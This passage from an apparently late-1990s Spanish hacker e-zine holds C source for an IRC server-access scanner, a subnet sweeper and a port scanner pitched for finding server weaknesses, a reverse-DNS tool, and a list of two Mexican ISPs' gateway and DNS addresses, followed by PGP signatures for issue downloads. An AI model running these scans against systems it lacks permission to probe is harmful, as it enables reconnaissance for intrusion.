        if (my_config.logging) {
                fprintf(my_config.logfile,"[ACCEPTED] %s\n",servername);
                fflush(my_config.logfile);
	}
        if (my_config.raw_logging) {
                fprintf(my_config.rawfile,"%s\n",servername);
                fflush(my_config.rawfile);
	}
        if (!my_config.run_background) {
                printf("[ACCEPTED] %s\n",servername);
		fflush(stdout);
	}
	my_stats.naccepted++;
}

/* This procedure handles motd files
 * if motd_line==NULL and servername==name, write file.. else add to
 * motd queue */
void process_motd(char *motd_line,char *servername)
{
        static char motd[300][255];
	char *tmp;
        int i;
        FiLE *motd_file;
	
        if (my_config.do_motd_writes) {
                if (motd_line) {
                        tmp = motd_line; tmp++;
                        while (*tmp != ':') tmp++;
			tmp++;
                        strcpy(motd[motd_pointer++],tmp);
                } else if (servername) {
                        if ((motd_file = fopen(servername,"w+")) == (FiLE *)NULL) {
                                fprintf(stderr,"Could not open file %s to write motd: %s\n",servername,my_strerror(errno));
				fflush(stderr);
			} else {
                                for(i=0;i<motd_pointer;i++)
                                        fprintf(motd_file,"%s\n",motd[i]);
                                fclose(motd_file);
                                motd_pointer = 0;
			}
		}
	}
}

/* This parses a line of text from a server we are checking out.  it does
 * not handle data from the server while we're getting links... that's
 * another procedure.  The 'no_show_error' global variable is to make sure
 * we don't print 'banned from server' and then print the 'k-lined' error
 * message too. */
void parse_server_line(int plug,char *servername,char *line_from_server)
{
	char *tmp,buff[512];
	
        if (wild_match("% 465 *",line_from_server)) {
                access_denied(servername,"Banned from server","Denied");
		no_show_error = 1;
                my_stats.ndenied++;
		return;
        } else if ((wild_match("ERROR :*",line_from_server))&&(!no_show_error)) {
                strcpy(buff,line_from_server);
                if (strtok(buff,"()") == NULL)
                        access_denied(servername,"Unknown Error","Denied");
		else {
                        if ((tmp = strtok(NULL,"()")) == NULL)
                                access_denied(servername,"Unknown Error","Denied");
			else
                                access_denied(servername,tmp,"Denied");
		}
                my_stats.ndenied++;
		return;
        } else if (wild_match("% 001 *",line_from_server)) {
		access_accepted(servername);
                outserv(plug,"QUiT :Leaving\n");
		no_show_error = 1;
		return;
        } else if ((wild_match("% 375 *",line_from_server))||(wild_match("% 372 *",line_from_server))) {
                process_motd(line_from_server,(char *)0);
		return;
        } else if (wild_match("% 376 *",line_from_server)) {
		process_motd((char *)0,servername);
		return;
	}
}

/* Returns a random junk string, no mixed case since that is a clonebot
 * giveaway */
char *randjunk(int len)
{
        int i;
        static char junk[64];
        char junkpick[26] = { 'a','b','c','d','e','f','g','h','i','j','k','l',
	                      'm','n','o','p','q','r','s','t','u','v','w','x',
	                      'y','z' };

        for(i=0;i<len;i++)
                junk[i] = junkpick[rand() % 26];
	junk[len] = '\0';

	return (char *)&junk;
}

/* Checks out a server */
void try_server(char *servername)
{
        int plug,nread,i,lbptr = 0;
        char inbuf[1024],linebuf[1024];
	
	no_show_error = 0;
        if ((plug = connectout(servername,my_config.serverport,my_config.connect_timeout)) > 0) {
                sprintf(linebuf,"USER %s . . :%s %s\n",my_username,randjunk(rand() % 15),randjunk(rand() % 15));
                outserv(plug,linebuf);
                sprintf(linebuf,"NiCK %s\n",randjunk(7));
                outserv(plug,linebuf);
                alarm(my_config.connect_timeout);
                while ((nread = recv(plug,&inbuf,sizeof(inbuf),0)) > 0) {
                        for(i=0;i<nread;i++) {
                                if (inbuf[i] == '\n') {
                                        linebuf[lbptr] = '\0';
                                        parse_server_line(plug,servername,linebuf);
					lbptr = 0;
                                } else linebuf[lbptr++] = inbuf[i];
			}
                        alarm(my_config.connect_timeout);
		}
                if (errno == EiNTR)
                        access_denied(servername,"No response from server","Error");
		alarm(0);
		close(plug);
	} else {
                if (plug == -2)
                        access_denied(servername,"Could not resolve hostname","Error");
		else
                        access_denied(servername,my_strerror(errno),"Error");
		my_stats.nerror++;
	}
}
		
/* Gets the links list from a server, returns the number of links */
int get_links(char *servername,int serverport)
{
        int plug,nread,i,lcount = 0,tunnels_left = 0,lbptr = 0;
        char inbuf[1024],linebuf[1024],buff[128],*tmp,tunnels[64][128];
	
        printf("Connecting to %s (port %d)...",servername,serverport);
	fflush(stdout);

        if ((plug = connectout(servername,serverport,120)) < 1) {
                if (plug == -2)
                        printf(" Could not resolve hostname\n");
		else
                        printf(" %s\n",my_strerror(errno));
                exit(0);
	}

        printf("\nLogging in... ");
	fflush(stdout);
	
        sprintf(linebuf,"USER %s . . :%s %s\n",my_username,randjunk(rand() % 15),randjunk(rand() % 15));
        outserv(plug,linebuf);
        sprintf(linebuf,"NiCK %s\n",randjunk(7));
        outserv(plug,linebuf);
        while ((nread = recv(plug,&inbuf,sizeof(inbuf),0)) > 0) {
                for (i=0;i<nread;i++) {
                        if (inbuf[i] == '\n') {
                                linebuf[lbptr] = '\0';
                                if (wild_match("% 001 *",linebuf)) {
                                        outserv(plug,"LiNKS\n");
                                        printf("Established! Retrieving server list...");
					fflush(stdout);
                                } else if ((wild_match("% 365 *",linebuf))||(wild_match("% 402 *",linebuf))) {
                                        if (tunnels_left > 0) {
                                                printf(".[%s]",tunnels[tunnels_left-1]);
						fflush(stdout);
                                                sprintf(buff,"LiNKS %s %s\n",tunnels[tunnels_left-1],tunnels[tunnels_left-1]);
						outserv(plug,buff);
						tunnels_left--;
					} else close(plug);
                                } else if (wild_match("% 364 *",linebuf)) {
                                        if (strtok(linebuf," ") != (char *)NULL) {
						strtok(NULL," ");
						strtok(NULL," ");
                                                if ((tmp = strtok(NULL," ")) != (char *)NULL) {
                                                        if (strchr(tmp,'*')) {
                                                                if (my_config.tunnel_foreign)
									strcpy(tunnels[tunnels_left++],tmp);
                                                        } else strcpy(serverlist[lcount++],tmp);
						}
					}
                                } else if (!strncmp("PiNG",linebuf,4)) {
					close(plug);
                                        if (tunnels_left > 0) {
                                                printf("\n%d tunneling requests timed out",tunnels_left);
						fflush(stdout);
					}
                                } else if (wild_match("% 465 *",linebuf)) { 
                                        printf("Banned from server\n");
					close(plug);
                                        exit(0);
                                } else if (wild_match("ERROR :*",linebuf)) {
                                        printf("\n%s\n",linebuf);
					close(plug);
                                        exit(0);
				}
				lbptr = 0;
                        } else linebuf[lbptr++] = inbuf[i];
		}
	}
	close(plug);
	
        printf("\n\n%d server names in list; beginning scan...\n",lcount);
	fflush(stdout);
	return lcount;
}

/* Exits gracefully when a signal is recieved */
void signal_handler(int signum)
{
        if (signum != SiGALRM) {
                if (signum == SiGiNT)
                        printf("\nSiGiNT - CTRL+C pressed\n");
		else
                        printf("\nLink Finder terminated\n");
                if (my_config.logging)
                        fclose(my_config.logfile);
                if (my_config.raw_logging)
                        fclose(my_config.rawfile);
                exit(0);
	}
        signal(signum,signal_handler);
}

void main(int argc,char *argv[])
{
        static struct passwd *my_pwent;
        int i,aval,numlinks,serverport = 6667;
        char buff[128],*tmp = (char *)0,*logfilename = (char *)0,*rawfilename = (char *)0,*servername = (char *)0;

        printf("Link Finder version 1.00b  (c)1996 by CKeeper [ckeeper@axiom.access.one.net]\nThis program is free software\n\n");
	fflush(stdout);
	
        if (argc < 2)
		do_help(argv[0]);

        /* init stuff, defaults */
        srand(getpid());
        my_config.serverport = 6667;
        my_config.connect_timeout = 60;
        my_config.tunnel_foreign = 1;
        my_config.do_motd_writes = 0;
        my_config.logging = 0;
        my_config.raw_logging = 0;
        my_config.run_background = 0;
	servername = (char *)0;
	
        /* Set up signals */
        signal(SiGALRM,signal_handler);
        signal(SiGPiPE,SiG_iGN);
        signal(SiGTERM,signal_handler);
        signal(SiGQUiT,signal_handler);
        signal(SiGiNT,signal_handler);

        /* Who am i? */
        if ((my_pwent = getpwuid(getuid())) == (struct passwd *)NULL) {
                fprintf(stderr,"Could not determine your username: %s\n",my_strerror(errno));
                exit(0);
	}
	my_username = my_pwent->pw_name;

        /* Get command line options (i'd like to use getopt(), but i think it
         * isn't portable to some systems :P) */
        for (i=1;i<argc;i++) {
		aval = 0;
                if (*argv[i] == '-') {
                        if (!strcmp("-motd",argv[i]))
                                my_config.do_motd_writes = 1;
                        else if (!strcmp("-nomotd",argv[i]))
                                my_config.do_motd_writes = 0;
                        else if (!strcmp("-tunnel",argv[i]))
                                my_config.tunnel_foreign = 1;
                        else if (!strcmp("-notunnel",argv[i]))
                                my_config.tunnel_foreign = 0;
                        else if (!strcmp("-fork",argv[i]))
                                my_config.run_background = 1;
                        else if (!strcmp("-nofork",argv[i]))
                                my_config.run_background = 0;
			else {
                                tmp = argv[i]; tmp++;
                                while (*tmp)
				{
                                        switch (*tmp) {
						case 'l':
                                                        if (i < argc) {
                                                                my_config.logging = 1;
                                                                logfilename = argv[i+aval+1];
								aval++;
							} else do_help(argv[0]);
							break;
						case 'a':
                                                        if (i < argc) {
                                                                my_config.raw_logging = 1;
                                                                rawfilename = argv[i+aval+1];
								aval++;
							} else do_help(argv[0]);
							break;
						case 't':
                                                        if (i < argc) {
                                                                my_config.connect_timeout = atoi(argv[i+aval+1]);
								aval++;
							} else do_help(argv[0]);
							break;
						case 'p':
                                                        if (i < argc) {
                                                                my_config.serverport = atoi(argv[i+aval+1]);
								aval++;
							} else do_help(argv[0]);
							break;
						default:
							do_help(argv[0]);
					}
					tmp++;
				}
			}
		} else {
                        if (strchr(argv[i],':')) {
                                strcpy(buff,argv[i]);
				servername = strtok(buff,":");
                                serverport = atoi(strtok(NULL,":"));
                        } else servername = argv[i];
		}
                i=i+aval;
	}
        if (!servername)
		do_help(argv[0]);
        if (my_config.run_background) {
                if ((!my_config.logging)&&(!my_config.raw_logging)) {
                        fprintf(stderr,"-fork requires some type of output file to be specified\n\n");
			do_help(argv[0]);
		}
	}

        /* Open any output files */
        if (my_config.logging) {
                if ((my_config.logfile = fopen(logfilename,"w+")) == (FiLE *)NULL) {
                        fprintf(stderr,"Error opening logfile: %s\n",my_strerror(errno));
                        exit(0);
                } else printf("Opened %s for log output\n",logfilename);
	}
        if (my_config.raw_logging) {
                if ((my_config.rawfile = fopen(rawfilename,"w+")) == (FiLE *)NULL) {
                        fprintf(stderr,"Error opening accepted list output file: %s\n",my_strerror(errno));
                        exit(0);
                } else printf("Opened %s for accepted server list output\n",rawfilename);
	}
	
	/* Zero stats */
	my_stats.naccepted = 0;
        my_stats.ndenied = 0;
	my_stats.nerror = 0;
	
        /* Get links list */
        numlinks = get_links(servername,serverport);
	
        /* Run in background if background option is set */
        if (my_config.run_background) {
                if ((i = fork()) > 0) {
                        printf("Running in background as pid# %d\nType 'kill -TERM %d' to kill\n",i,i);
                        exit(0);
		}
                if (i < 0) {
                        fprintf(stderr,"Cannot fork!\n");
                        exit(0);
		}
	}
	
	/* Try all the servers */
        for(i=0;i<numlinks;i++)
                try_server(serverlist[i]);
	
        if (!my_config.run_background)
                printf("\nTotal number tested:[%d]  Accepted:[%d]  Denied:[%d]  Error:[%d]\n",numlinks,my_stats.naccepted,my_stats.ndenied,my_stats.nerror);

        if (my_config.logging)
                fclose(my_config.logfile);
        if (my_config.raw_logging)
                fclose(my_config.rawfile);
	
        exit(0);
}

/* ------------------------------------------------------------------------ */

/* This is the wildcard match routine used in ircd and ircii... it makes the
 * parsing routines much less of a headache. (just like iRC script!) */

/*
 * Written By Douglas A. Lewis <dalewis@cs.Buffalo.EDU>
 *
 * This file is in the public domain.
 */

#define RETURN_FALSE -1
#define RETURN_TRUE count

unsigned char lower_tab[256] = 
{
  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15,
 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
 64, 97, 98, 99,100,101,102,103,104,105,106,107,108,109,110,111,
112,113,114,115,116,117,118,119,120,121,122, 91, 92, 93, 94, 95,
 96, 97, 98, 99,100,101,102,103,104,105,106,107,108,109,110,111,
112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,
128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,
144,145,145,147,148,149,150,151,152,153,154,155,156,157,158,159,
160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,
176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,
192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,
208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,
224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,
240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255 };

#undef tolower
#define tolower(x) lower_tab[x]

int _wild_match(unsigned char *mask,unsigned char *string)
{
        unsigned char *m = mask,*n = string,*ma = NULL,*na = NULL,*mp = NULL,*np = NULL;
        int just = 0,pcount = 0,acount = 0,count = 0;

	for (;;)
	{
                if (*m == '*')
		{
			ma = ++m;
			na = n;
			just = 1;
			mp = NULL;
			acount = count;
		}
                else if (*m == '%')
		{
			mp = ++m;
			np = n;
			pcount = count;
		}
                else if (*m == '?')
		{
			m++;
                        if (!*n++)
				return RETURN_FALSE;
		}
		else
		{
                        if (*m == '\\')
			{
				m++;
                                if (!*m)
					return RETURN_FALSE;
			}
                        if (!*m)
			{
                                if (!*n)
					return RETURN_TRUE;
                                if (just)
					return RETURN_TRUE;
				just = 0;
				goto not_matched;
			}
			just = 0;
                        if (tolower(*m) == tolower(*n))
			{
				m++;
                                if (*n == ' ')
					mp = NULL;
				count++;
				n++;
			}
			else
			{

	not_matched:
                                if (!*n)
					return RETURN_FALSE;
                                if (mp)
				{
					m = mp;
                                        if (*np == ' ')
					{
						mp = NULL;
						goto check_percent;
					}
					n = ++np;
					count = pcount;
				}
				else
	check_percent:

                                if (ma)
				{
					m = ma;
					n = ++na;
					count = acount;
				}
				else
					return RETURN_FALSE;
			}
		}
	}
}

int wild_match(char *pattern,char *str)
{
        /* assuming a -1 return of false */
        return _wild_match((u_char *)pattern,(u_char *)str) + 1;
}

/* End stolen code -------------------------------------------------------- */

El siguiente programa es un iP scanner, se usa de la siguiente forma
netscan -v 199.186.81
ahi buscara las ip del 199.186.81 hasta 199.186.81.254

Aqui va el codigo :

/* netscan.c------------------------------------------------------------------
 * gcc -o netscan netscan.c */


#include        <ctype.h>
#include        <stdio.h>
#include        <sys/time.h>
#include        <sys/file.h>
#include        <sys/errno.h>
extern  int     errno;
#include        <sys/types.h>
#include        <sys/socket.h>
#include        <netinet/in.h>
#include        <netdb.h>
#include        <fcntl.h>

extern  char            *inet_ntoa();
extern	char		*optarg;
extern  int             optind;

int                     vflg = 0;
int                     delay = 1;
int                     port = 23;

main(ac,av)
int     ac;
char	**av;
{
	char			s[512];
        int                     x;
	char			*p;
	char			*p2;
        int                     i1;
        int                     i2;
        int                     i3 = -1;

        while((x = getopt(ac,av,"d:vp:")) != -1) {
                switch(x) {
		case 'd':
                        delay = atoi(optarg);
			break;
		case 'v':
			vflg++;
			break;
		case 'p':
                        port = atoi(optarg);
			break;
		}
	}

        if(optind == ac) {
                fprintf(stderr,"usage: %s [-v] network ip\n",av[0]);
                printf("usage: 192.100.81.100 would be entered as: netscan -v 192.100.81\n");
                printf("usage: this will list ip usage from: 192.100.81.1 to: 192.100.81.254\n");
                exit(1);
	}

        for(x = optind; x < ac; x++) {
		strcpy(s,av[x]);

                for(p = s; isdigit(*p); p++);
                if(*p != '.') {
                        fprintf(stderr,"malformed network address: %s\n",av[x]);
                        exit(1);
		}
		*p++ = '\0';
                i1 = atoi(s);
                if(i1 < 1 || i1 > 254) {
                        fprintf(stderr,"first octet %d out of range in address: %s\n",i1,av[x]);
                        exit(1);
		}
		p2 = p;
                for(; isdigit(*p); p++);
                if(*p != '.' && *p != '\0') {
                        fprintf(stderr,"network address: %s malformed\n",av[x]);
                        exit(1);
		}
                if(*p == '.')
			*p++ = '\0';
                i2 = atoi(p2);
                if(i2 < 1 || i2 > 254) {
                        fprintf(stderr,"second octet %d out of range in address: %s\n",i2,av[x]);
                        exit(1);
		}

                if(*p != '\0') {
			p2 = p;
                        for(; isdigit(*p); p++);
                        if(*p != '\0') {
                                fprintf(stderr,"network address: %s malformed\n",av[x]);
                                exit(1);
			}
                        i3 = atoi(p2);
                        if(i3 > 254) {
                                fprintf(stderr,"third octet %d out of range in address: %s\n",i3,av[x]);
                                exit(1);
			}
		}
                if(i3 != -1) {
                        if(crunchnet(i1,i2,i3))
                                exit(1);
		} else {
			for(x = 1; x < 255; x++)
                                if(crunchnet(i1,i2,x))
                                        exit(1);
		}
	}
        exit(0);
}



char	*
addrof(in)
struct  in_addr in;
{
	struct	hostent	*hp;
        static  char    xuf[512];

        hp = gethostbyaddr((char *)&in,sizeof(in),AF_iNET);
        if(hp == (struct hostent *)0)
                return(inet_ntoa(in));
	else {
                sprintf(xuf,"%s (%s)",hp->h_name,inet_ntoa(in));
		return(xuf);
	}
}


	
crunchnet(i1,i2,i3)
int     i1;
int     i2;
int     i3;
{
        struct  sockaddr_in     addr;
        struct  timeval         timo;
        int                     fd;
        int                     x;
	char			*s;

        if(vflg)
                fprintf(stderr,"trying subnet %d.%d.%d\n",i1,i2,i3);

        s = (char *)&addr.sin_addr;
        s[0] = i1;
        s[1] = i2;
        s[2] = i3;
        timo.tv_usec = 0;
        timo.tv_sec = delay;

	for(x = 1; x < 255; x++) {
		s[3] = x;
                addr.sin_port = htons(port);
                addr.sin_family = AF_iNET;

                fd = socket(AF_iNET,SOCK_STREAM,0);
                if(fd < 0) {
			perror("socket");
			return(1);
		}
		fcntl(fd,F_SETFL,FNDELAY);

                if(connect(fd,(struct sockaddr *)&addr,sizeof(addr)) < 0) {
			fd_set	msk;

#ifdef  EiNPROGRESS
                        if(errno != EWOULDBLOCK && errno != EiNPROGRESS)
                                goto giveup;
#else
                        if(errno != EWOULDBLOCK)
                                goto giveup;
#endif
			FD_ZERO(&msk);
			FD_SET(fd,&msk);

                        if(select(fd + 1,0,&msk,0,&timo) != 1)
                                goto    giveup;
                        if(vflg)
                                fprintf(stderr,"%c%s\n",07,addrof(addr.sin_addr));
			else
                                printf("%s\n",addrof(addr.sin_addr));

		} else {
                        if(vflg)
                                fprintf(stderr,"%c%s\n",07,addrof(addr.sin_addr));
			else
                                printf("%s\n",addrof(addr.sin_addr));
		}
		close(fd);
                continue;
giveup:
                if(vflg)
                        fprintf(stderr,"\t%s\n",addrof(addr.sin_addr));
		close(fd);
	}
        if(vflg)
                fprintf(stderr,"\n");
	return(0);
}
/*-----------------------------Fin del codigo--------------------------------*/

Este Programa es un buscador de puertos, para buscar debilidades de un
servidor, Se usa de la siguiente forma :

portscan -l lowport -h highport [-v] host

por ejemplo :
quiero en el servidor uchile.cl buscar los puertos del 1 al 255
entonces escribo : 
portscan -l 1 -h 255 uchile.cl
ahi va ir saliendo los puertos activo
la opcion -v es para modo verbose...

/* portscan.c----------------------------------------------------------------*/
#include        <ctype.h>
#include        <stdio.h>
#include        <sys/types.h>
#include        <sys/socket.h>
#include        <netinet/in.h>
#include        <netdb.h>

extern	char		*optarg;
extern  int             optind;
extern	struct servent	*getservbyport();

main(ac,av)
int     ac;
char	**av;
{
        int                     loport = 0;
        int                     hiport = 30000;
	char			*s;
        struct  sockaddr_in     addr;
	struct	hostent		*hp;
        int                     fd;
        int                     x;
        int                     xit;
	char			*p;
        int                     vflg = 0;

        while((x = getopt(ac,av,"l:h:v")) != -1) {
                switch(x) {
		case 'v':
			vflg++;
			break;
		case 'h':
                        hiport = atoi(optarg);
			break;
		case 'l':
                        loport = atoi(optarg);
			break;
		}
	}

        if(optind == ac) {
                fprintf(stderr,"usage: %s [-l low port] [-h high port] [-v] host\n",av[0]);
                exit(1);
	}

        for(xit = optind; xit < ac; xit++) {
                s = av[xit];

		p = s;
                while(*p != '\0' && (*p == '.' || isdigit(*p)))
			p++;

                /* not all digits or dots */
                if(*p != '\0') {
                        if((hp = gethostbyname(s)) == (struct hostent *)0) {
                                fprintf(stderr,"%s: address unknown\n",s);
                                exit(1);
			}

                        (void)bcopy(hp->h_addr,(char *)&addr.sin_addr,hp->h_length);
		} else {
                        unsigned long   f;

                        if((f = inet_addr(s)) == -1L) {
                                fprintf(stderr,"%s: address unparsable\n",s);
                                exit(1);
			}
                        (void)bcopy((char *)&f,(char *)&addr.sin_addr,sizeof(f));
		}

                if(vflg)
                        fprintf(stderr,"%s: trying stream ports between %d and %d\n",s,loport,hiport);
                for(x = loport; x < hiport + 1; x++) {
                        if(vflg)
                                fprintf(stderr,".");
                        addr.sin_port = htons(x);
                        addr.sin_family = AF_iNET;

                        fd = socket(AF_iNET,SOCK_STREAM,0);
	
                        if(fd < 0) {
				perror("socket");
                                exit(1);
			}

                        if(connect(fd,(struct sockaddr *)&addr,sizeof(addr)) == 0) {
				struct servent	*sp;

                                if((sp = getservbyport(x,"tcp")) != (struct servent *)0) {
                                        if(vflg)
                                                fprintf(stderr,"\n%c%s\n",07,sp->s_name);
					else
                                                printf("%s\n",sp->s_name);
				} else {
                                        if(vflg)
                                                fprintf(stderr,"\n%c%d\n",07,x);
					else
                                                printf("%d\n",x);
				}
			}
			close(fd);
		}
                if(vflg)
                        fprintf(stderr,"\n");
	}
        exit(0);
}
/*----------------------------Fin del Codigo--------------------------------*/

Este programa es un translador de direccion iP a Alfanumerico...

/* lookup.c-----------------------------------------------------------------*/
/*translate ip to alpha, faster than nslookup*/
/*thc*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>

main(argc, argv)
int argc;
char *argv[];

{  
  struct hostent *lookup;
  char           name[255];
  unsigned long  addr;

  if (argc != 2) {
      printf("Usage:  %s {ipnumber}\n", argv[0]);
      exit(1); } 
 if ((addr = inet_addr(argv[1])) == -1) {
      printf("Couldn't find %s\n", argv[1]);
      exit(1); }
  if ((lookup = gethostbyaddr((char *) &addr,sizeof(long),AF_iNET)) != NULL) {
      printf("%s \t %s\n",argv[1], lookup->h_name);
          *lookup->h_addr_list++; }  
  else
    printf("Error: couldn't find hostname for %s\n", argv[1]);
  }
/*---------------------------Fin del codigo----------------------------------*/

Aqui va un programa uuencodeado para poder cargar esos programas antiguos
que cargan tan rapido, has tratado de jugar space invaders en un pentium o
mario bros?, bueno este programa ayuda en algo, para usarlo pones :
slowdos 1000 space.exe , o segun tus preferencias...
                       (iNCLUiDO EN LA SECCiON UUENCODE)


Gracias por la excelente revista...
                                   Blacklash

 necesitamos gente que sepa crear scripts para ircii y Pirch...

-----BEGiN PGP PUBLiC KEY BLOCK-----
Version: 2.6.3ia

mQENAzPNZ00AAAEiAMs1J7+3x6G7trFSRY5pSBUUArN8XksQTyCl/2t+cmBDhQ4l
mA18ze31NUGOuX7Wk9yynTUSG5/HQ3nUsR5sFOiPhrP215yAERdUD+gAzg+B0CG7
JmUKJhNSibUvQsPg2/XVO13uciiefWVvDioGiG4dRBUV9AB1xJR/SQi1HwQyhV13
LP7ACeXQinsoPHY7Hki/aPKrw/0uWuz7zkZHotiVnuXdVDitLOjwNF8YiGuXacRu
7k11TTYqSjFEhOddisuTQg88MW3w4sO6RiiGn0VTppsFLWeZwNJ9J1dv89smktkQ
kuK9LuExcBu6k1qzy/CMYJP9oD9Z1oXDaJx35iEABRG0iUJsYWNrbGFzaCA8dHJ1
ZV95b0BnZW9jaXRpZXMuY29tPokBFQMFEDPNZ07WhcNonHfmiQEBCjAiAJObdZcF
XNVfABHyRt8pHcMfiL3jV3j4b3yQVFw48BPbCK1aYgtson6U5hfiPXWsyFEqcU+Z
RXUDuk1AxQaiY711o8EUibjBFiFKa6f47NoDhi7QGYC/6zCqn+MEkws+b6ttMzUj
jeA7XKHpMVTtnhHHV3EAsi7u4QMg05YKSJleyqyFllj9v6Mng3RjwOeu/pOsVuUv
0iM23ipgRFc+vHxoR7NsJQOQb2in+MP9umfrGuqwv+hxa+fqA/AH4FQ73XpDrHxx
L8Y7LXTFulEJV0nfxp+VhSMSiaQMfCK0PJmU6BmsS3MnNfibTak/7uwtYx0ZiKJd
0vpmlXeyVu0s27s=
=fhpy
-----END PGP PUBLiC KEY BLOCK-----

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

 Yo Soy en colaboracion con Pipirisnais les mostramos la siguiente
 informacion de los servidores de algunos proveedores de internet en
 Los Cabos, Baja California Sur...

 La informacion es de 2 proveedores ( cabonet y primero cabonet ):

 1ero Cabonet ( http://www.1cabonet.com.mx ) :

                Gateway  : 200.33.141.1
                           200.33.141.3
                           200.33.141.65
                          
                DNS      : 200.33.141.5
                           200.23.249.1

                Direccion: http://www.1cabonet.com.mx
                Telefono : (01 114 ) 22883


 Cabonet ( http://www.cabonet.net.mx ):

                Gateway  : 200.36.173.162

                DNS      : 200.36.173.161
                
                Direccion: http://www.cabonet.net.mx
                Telefonos: (01 114 ) 20052
                                     22082

          Yo Soy  a   :  mierda@hotmail.com
        Pipirisnais a :  mexicogob@hotmail.com

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

 Una copia de este texto lo puedes encontrar en nuestro web junto con la
 llave PGP necesaria para verificar las firmas de los archivos. pronto.

-----BEGiN PGP SiGNED MESSAGE-----


 archivo: RareGaZz #1
          http://www.geocities.com/Baja/4426/rare001.zip
          http://raregazz.islatortuga.com/rare001.zip
 firma:
- -----BEGiN PGP MESSAGE-----
Version: 2.6.3ia

iQEVAwUANGqi8K4wO2YRk8TdAQE1gwf9GOTFguYZj9W7yyDT1UTntxY97/34DdSo
Rmeh+lvKQx3NTxckpq8i0i/JE7+Y4FkECFXOEmDJV7P1YkfWjYZvb+FXuahaLSql
5orrozguV8h1jiVHfgbZnzb9FPfSRpRxsclyzX7JGCfb2Z0YHZCtghM7EGOpROtb
/Kbb+XUxhlA+grnny2YiU+lukMcWPFAtUNUXf6K2MCaBdx+2L+Lrqem+wvqrxdsm
z7/0mAK/fXq8TR/eFK2qxusG1WsBSgTOmU2fJRz5UemMl/j82hHnp6nUxhj50RZj
2oxzlj9wk1N8LUOgfC//tv0VXvt/uNWOC4eqP7XocmO25tDr1xD3ew==
=kvTh
- -----END PGP MESSAGE-----

 archivo: RareGaZz #2
          http://www.geocities.com/Baja/4426/rare002.zip
          http://raregazz.islatortuga.com/rare002.zip
 firma:
- -----BEGiN PGP MESSAGE-----
Version: 2.6.3ia

iQEVAwUANGqjK64wO2YRk8TdAQG7zwf9G+YudV9g5WNjWjPkhBWs+7stvWBguEBq
s4iMewqVkTfibAMcwNgglAkOmxojKgC7v9xG2lx8Z9B7Or15QoOcs1Mcx+XGyPZX
lK7jiCgQaz9W6Pv0twaWkk/1ZVjiVMPc7pVm/d9JotiAr+r8aEl0XhiK8WWKZeim
ke5dZBrqe5oF3Wj8TiP3KqOFpz/VTb4wTX8tLyhJ19x7DMzSPrGbLVeznFcjecns
3rRMRjerTgFAvC2kwZ11dLL2WglG5h9N6HjBPJd7OSmwAe+7XcS4CZnwd7Fjambz
b6STWaFzum9DWR3sPNkiVbmQh45jZXNSKWFozc84qKzY1yM9erpFVg==
=H6gl
- -----END PGP MESSAGE-----

 archivo: RareGaZz #3
          http://www.geocities.com/Baja/4426/rare003.zip
          http://raregazz.islatortuga.com/rare003.zip
 firma:
- -----BEGiN PGP MESSAGE-----
Version: 2.6.3ia

iQEVAwUANGqjaq4wO2YRk8TdAQHFCAgAlB+oB0CgBY0yg1wvjibtZ8oPEyd4qT2A
fi5h0jdzzMx6ZLwThKiBVQgScf9VMerAgO+s2h9gSZ/AEzbVW+YmYvZiQjwGvpXU
tGFm7pezKUPn1GohTfPXSfiVbasNLKxbj5Q1guyVrjorAmKdSbg/PmgTCrvr/Yg7
NNQn56wHL4pOoyiR6g33eBMKcOY1iRzkHzi3ddVvKieK6elRaBl6F5FUnTLA2kKJ
THJ890KWDHGVlzM0OdVQEukpgUh/v6oEwqO2yGhtPuqhQUPDkTTRnNZPxJyqQZql
gzHKACCJ6kEUVRz8miUVRz6AwfvnnqSqhVD3kLRChZsgxchndi9uLA==
=iPnZ
- -----END PGP MESSAGE-----

 archivo: RareGaZz #4
          http://www.geocities.com/Baja/4426/rare004.zip
          http://raregazz.islatortuga.com/rare004.zip
 firma:
- -----BEGiN PGP MESSAGE-----
Version: 2.6.3ia

iQEVAwUANGqjia4wO2YRk8TdAQHw+Af+iAr1G4KTbH54/O/q9gpCQ9ZwckLSBrfk
cr36L28eYqxwpRrKTlqAZMmR9HOf91in86hq+WOeL3wYJTsO7dbsc7EWvuwkzK4G
s9b3xRdaW5G7GHQwy8tmJOpxSmkwyi/ahcACGPvGV5MsvwpGNYFEFd500gJk+sWT
vNRuUgD7QLdRALiofms2ff3mgMht/MovonY9VtP8Kod8DfzqJLcilkBjshmX5OED
y7CO/EC7L5K9b790KT/jRxzYkCHgk6kAxq0i/zUPAt1Kys8FVibZ/J8pV3sD2uwV
St2sM/RrVWhpMFPmqSU87jTQGTiK43DesYypvv/6fQUW7xfG2UtM9w==
=Rtip
- -----END PGP MESSAGE-----

 archivo: RareGaZz #5
          http://www.geocities.com/Baja/4426/rare005.zip
          http://raregazz.islatortuga.com/rare005.zip
 firma:
- -----BEGiN PGP MESSAGE-----
Version: 2.6.3ia

iQEVAwUANGqjsq4wO2YRk8TdAQGxKAgAqZdy3bqfY0uM5rKyyXUbLNV9g3xtAKdK
d/mMVN2hRKDr+epHXpuwsOQHxe9lZvQnsbH/mLHYr8guATTCSWDOivzQCJZRbU7w
